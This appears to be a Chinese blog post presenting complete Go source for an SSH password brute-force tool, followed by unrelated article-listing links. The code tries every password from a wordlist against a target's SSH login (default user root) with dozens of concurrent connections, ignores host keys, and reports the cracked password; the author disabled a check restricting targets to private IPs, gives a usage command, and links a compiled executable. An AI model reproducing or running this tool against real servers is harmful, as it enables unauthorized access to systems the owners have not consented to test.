源码如下:

package main

import (
"bufio"
"flag"
"fmt"
"golang.org/x/crypto/ssh"
"io"
"os"
"regexp"
"runtime"
"sync"
"time"
)
var (
file string
host string
port int
user string
)
var exit = make(chan bool)
var starttime = time.Now()
var wg = sync.WaitGroup{}
var cpunum = runtime.NumCPU() func init() {
//获取命令行配置信息
flag.StringVar(&file,"f","pass.txt","密码文件")
flag.StringVar(&host,"h","127.0.0.1","ip地址")
flag.IntVar(&port,"p",22,"端口地址")
flag.StringVar(&user,"u","root","用户名")
} func main(){
defer testtime(starttime)
flag.Parse()
//match := CheckIp(host)
//if !match {
// fmt.Println("ip错误,只能用于内网ip地址。\n正则验证规则:`^(192\\.168(\\.(\\d|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])){2}|172\\.(1[6-9]|2\\d|3[0,1])(\\.(\\d|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])){2}|10(\\.(\\d|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])){3})$`")
// return
//}
if host == "127.0.0.1" {
fmt.Printf("[-]Usage %s -h=192.168.1.1\n",os.Args[0])
fmt.Println("密码字典默认为同目录下的:pass.txt。可以通过:-f=xx.txt指定")
return
}
passchan := make(chan string)
//开启一个pass读取协程将读取到的密码赋予给一个passchan通道。
go func(){
file,err := os.Open(file)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
defer file.Close()
bf := bufio.NewReader(file)
for {
str,err := bf.ReadString('\n')
if err != nil {
if err == io.EOF {
fmt.Println("文件读取完毕")
}else {
fmt.Println("读取文件错误",err)
}
close(passchan)
return
}
passchan<- str[:len(str)-2]
}
}() //开启一个ssh链接协程,监听passchan通道,并创建链接
ip := fmt.Sprintf("%s:%d", host, port)
worknum := (cpunum-1)*20
for i:=0; i<worknum; i++ {
wg.Add(1)
go SshConnect(ip,passchan)
}
wg.Wait()
//time.Sleep(time.Second*15)
} //ssh链接函数
func SshConnect(ip string, passchan chan string) {
for {
select {
case pass,ok := <-passchan :
if !ok {
wg.Done()
return
}
client := &ssh.ClientConfig{
User: user,
Timeout: time.Second,
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Auth: []ssh.AuthMethod{ssh.Password(pass)},
}
_,err := ssh.Dial("tcp",ip,client)
if err == nil {
fmt.Printf("%s 爆破成功。账号:%s,密码:%v",ip,client.User,pass)
testtime(starttime)
os.Exit(1)
}
case <-time.After(time.Second * 60) :
fmt.Println("链接ssh出错,在select处退出")
os.Exit(1)
}
}
} func CheckIp(ip string) bool {
// 0-255
//(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5]) //192.168.0.0 - 192.168.255.255
//192\.168(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){2} //172.16.0.0 - 172.31.255.255
//172\.(1[6-9]|2\d|3[0,1])(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){2} //10.0.0.0 - 10.255.255.255
//10(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){3}
match,err := regexp.MatchString(`^(192\.168(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){2}|172\.(1[6-9]|2\d|3[0,1])(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){2}|10(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){3})$`,ip)
if err != nil{
fmt.Println(err)
return false
}
return match
} func testtime(start time.Time) {
fmt.Println("运行时间:",time.Since(start))
}

并发数为:(CPU-1)*20。我本地4核,也就是60条并发协程。

ssh链接超时为1秒,经过测试1000条记录,20s跑完。(香港阿里云机器)

使用:

xxx.exe -h=192.168.1.1 -p=22 -f=mima.txt -u=root

其中:-p可以不指定,默认为22端口。-u可以不指定,默认为root。-f可以不指定,默认为同目录下的pass.txt文件。

其中的 Checkip 函数原目的为限制ip只能为内网ip地址,但只有公网测试地址,就没使用了。

总结:

通过 sync 包下的 WaitGroup 来控制所有协程的结束,但是这里却有一点问题,就是假如正确密码在文本的最后几行(差不多20行内),却得不到正确的返回。

猜测可能是最后的协程并没有执行完毕,协程就被迫结束了。我在最后添加了延迟10秒,发现效果也不好,不知道怎么解决这个问题。

同时文本最后一行的密码读取不到,因为读取最后一行时,err == io.EOF,导致Close(chan)关闭了通道,因为上面的问题,所以这个无关紧要了。

编译好的exe文件地址:

链接: https://pan.baidu.com/s/1q4V6swxn-BXpKQtq39Udcg 提取码: 89tf

Golang 版的ssh爆破小工具的更多相关文章

  1. C#7.2——编写安全高效的C#代码 c# 中模拟一个模式匹配及匹配值抽取 走进 LINQ 的世界 移除Excel工作表密码保护小工具含C#源代码 腾讯QQ会员中心g_tk32算法【C#版】

    C#7.2——编写安全高效的C#代码 2018-11-07 18:59 by 沉睡的木木夕, 123 阅读, 0 评论, 收藏, 编辑 原文地址:https://docs.microsoft.com/ ...

  2. 用Python写个自动ssh登录远程服务器的小工具

    很多时候我们喜欢在自己电脑的终端直接ssh连接Linux服务器,而不喜欢使用那些有UI界面的工具区连接我们的服务器.可是在终端使用ssh我们每次都需要输入账号和密码,这也是一个烦恼,所以我们可以简单的 ...

  3. 想用Electron做个小工具?这个或许是终极版

    故事背景 之前在网上有看到很多小伙伴基于 electron 实现了非常多好用的桌面端工具,比如图床管理工具 PicGo,就专门做图床工具.也有一些其他的类似的小工具,比如 saladict-deskt ...

  4. 经纬坐标(BLH)数据创建.kml文件小工具设计 Java版

    技术背景 KML,是标记语言(Keyhole Markup Language)的缩写,最初由Keyhole公司开发,是一种基于XML 语法与格式的.用于描述和保存地理信息(如点.线.图像.多边形和模型 ...

  5. 2014年Windows平台软件推荐:神器小工具(骨灰级

    原文  http://www.wtoutiao.com/a/120621.html 底层工具 “If you know how to use Process Monitor competently, ...

  6. Windows平台软件推荐:神器小工具(骨灰级)

    底层工具 "If you know how to use Process Monitor competently, people of both sexes will immediately ...

  7. 介绍两个Ubuntu上的桌面小工具

    经常使用Windows10,Sticky Notes和壁纸自动切换功能挺好用的.我经常会使用Sticky Notes来记录一些信息,内容是实时保存的,而且启动的时候会自动显示在桌面上.其实Ubuntu ...

  8. 分享:计算机图形学期末作业!!利用WebGL的第三方库three.js写一个简单的网页版“我的世界小游戏”

    这几天一直在忙着期末考试,所以一直没有更新我的博客,今天刚把我的期末作业完成了,心情澎湃,所以晚上不管怎么样,我也要写一篇博客纪念一下我上课都没有听,还是通过强大的度娘完成了我的作业的经历.(当然作业 ...

  9. bug检测报告---礼物挑选小工具--飞天小女警

    飞天小女警----礼物挑选小工具 测试产品链接:http://123.207.159.79:8088/giving_gifts/ 发布在作者的博客里面:http://www.cnblogs.com/s ...

随机推荐

  1. jdbc编程学习之增删改查(2)

    一,enum类型的使用 在SQL中没有布尔类型的数据,我们都使用过布尔类型,当属性的值只用两种情况时.例如性别等.那在数据库对这些属性的值个数比较少时我们应该使用什么数据类型呢?SQL给我们提供了枚举 ...

  2. 使用swagger上传文件

    经常使用swagger,可以通过设置[ProducesResponseType]标记接口的返回信息:swagger也能通过接口的参数列表,自动获得发送的数据结构信息. 不过有一个例外,就是上传文件的时 ...

  3. [leetcode]118,119PascalsTriangle,杨辉三角1,2

    杨辉三角1Given numRows, generate the first numRows of Pascal's triangle.For example, given numRows = 5,R ...

  4. Maven仓库是什么

    Maven仓库是基于简单文件系统存储的,集中化管理Java API资源(构件)的一个服务.仓库中的任何一个构件都有其唯一的坐标,根据这个坐标可以定义其在仓库中的唯一存储路径.得益于 Maven 的坐标 ...

  5. cmd命令符大全

    cmd命令大全(第一部分) winver---------检查Windows版本 wmimgmt.msc----打开windows管理体系结构(WMI) wupdmgr--------windows更 ...

  6. 求你别再用swagger了,给你推荐几个在线文档生成神器

    前言 最近公司打算做一个openapi开放平台,让我找一款好用的在线文档生成工具,具体要求如下: 必须是开源的 能够实时生成在线文档 支持全文搜索 支持在线调试功能 界面优美 说实话,这个需求看起来简 ...

  7. GC算法与回收策略

    算法: 标记-清理  :首先标记出需要回收的对象 ,然后统一回收待标记的对象. 缺点:易产生大量空间碎片,空间碎片太多导致程序在运行过程中产生大对象时 因为空间不足导致容易导致另一个垃圾收集动作 标记 ...

  8. Redis--部署操作

    1.Redis 1.1 安装 当前ubuntu虚拟机中已经安装好了redis,以下步骤可以跳过 以后自己安装过程如下:redis下载链接:x 指的是版本号 http://download.redis. ...

  9. 伪静态 RewriteRule-htaccess

    伪静态实际上是利用PHP把当前地址解析成另一种方法来访问网站,要学伪静态规则的写法,要懂一点正则 一.正则表达式教程 有一个经典的教程:正则表达式30分钟入门教程 常用正则如下: . 换行符以外的所有 ...

  10. nacos统一配置中心源码解析

    配置文件想必大家都很熟悉,无论什么架构 都离不开配置,虽然spring boot已经大大简化了配置,但如果服务很多 环境也好几个,管理配置起来还是很麻烦,并且每次改完配置都需要重启服务,nacos c ...